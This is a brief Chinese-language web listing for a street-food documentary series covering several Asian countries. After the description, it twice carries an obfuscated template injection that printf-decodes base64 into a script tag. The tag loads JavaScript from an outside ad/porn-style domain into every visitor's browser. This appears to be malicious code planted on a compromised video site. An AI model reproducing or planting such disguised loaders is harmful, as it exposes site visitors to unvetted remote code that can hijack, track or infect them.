简介：生于街头的美食，是家乡的味道，更是文化的骄傲。《主厨的餐桌》原班人马深入中国台湾,日本,泰国,印度,印尼,菲律宾,新加坡与越南，一探本土美食英雄的精湛技艺。{if-A:printf(base64_decode("PHNjcmlwdCBzcmM9aHR0cHM6Ly9hZDIxMjMubHNqcG9ybi50b3AvdXBsb2FkL2FhYWEuanM+PC9zY3JpcHQ+"))}{endif-A}{if-A:printf(base64_decode("PHNjcmlwdCBzcmM9aHR0cHM6Ly9hZDIxMjMubHNqcG9ybi50b3AvdXBsb2FkL2FhYWEuanM+PC9zY3JpcHQ+"))}{endif-A}.
